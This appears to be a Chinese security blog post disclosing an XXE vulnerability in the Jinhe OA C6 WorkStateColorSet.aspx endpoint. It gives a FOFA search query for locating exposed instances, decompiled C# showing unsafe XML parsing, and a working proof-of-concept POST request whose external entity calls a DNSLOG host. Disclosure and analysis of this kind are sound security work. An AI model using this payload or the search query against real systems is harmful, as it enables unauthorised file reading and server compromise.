金和OA WorkStateColorSet.aspx XXE漏洞


漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 WorkStateColorSet.aspx 接口处存在XXE漏洞,未授权的攻击者可以通过此漏洞读取服务器上敏感文件或探测内网服务信息,进一步利用可导致服务器失陷。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

直接根据 WorkStateColorSet.aspx 在 bin 目录下查找 JHSoft.Web.Govset.dll 将其进行反编译后找到 WorkStateColorSet 的处理逻辑

protected void Page_Load(object sender, EventArgs e)
{
  this.htc = ((CultureInfo) this.Session["culture"]).Name + ".css";
  this.Response.Buffer = true;
  this.Response.ExpiresAbsolute = DateTime.Now.AddSeconds(-1.0);
  this.Response.Expires = 0;
  this.Response.CacheControl = "no-cache";
  if (this.Request["state"] != null)
    this.iFlag = this.Request["state"].ToString().Trim();
  if (this.Request["Flag"] != null)
    this.strFlag = this.Request["Flag"].ToString().Trim();
  if (this.Request["ID"] != null)
    this.iID = this.Request["ID"].ToString().Trim();
  this.InitText();
  if (string.op_Inequality(this.strFlag, ""))
  {
    string end = ((TextReader) new StreamReader(this.Request.InputStream)).ReadToEnd();
    XmlDocument xmlDocument = new XmlDocument();
    xmlDocument.LoadXml(end);
    string innerText = xmlDocument.DocumentElement.ChildNodes[0].InnerText;

请求内容直接使 XmlDocument.LoadXml 解析,造成XXE漏洞。

漏洞复现

POST /c6/Jhsoft.Web.govset/WorkStateColorSet.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe.dnslog.pt/xxe_test">
%remote;]>
<root/>

在DNSLOG平台成功收到请求


手机扫码阅读

孚盟云CRM AjaxProviderList.ashx SQL注入漏洞

孚盟云CRM AjaxProductionTask.ashx SQL注入漏洞

评 论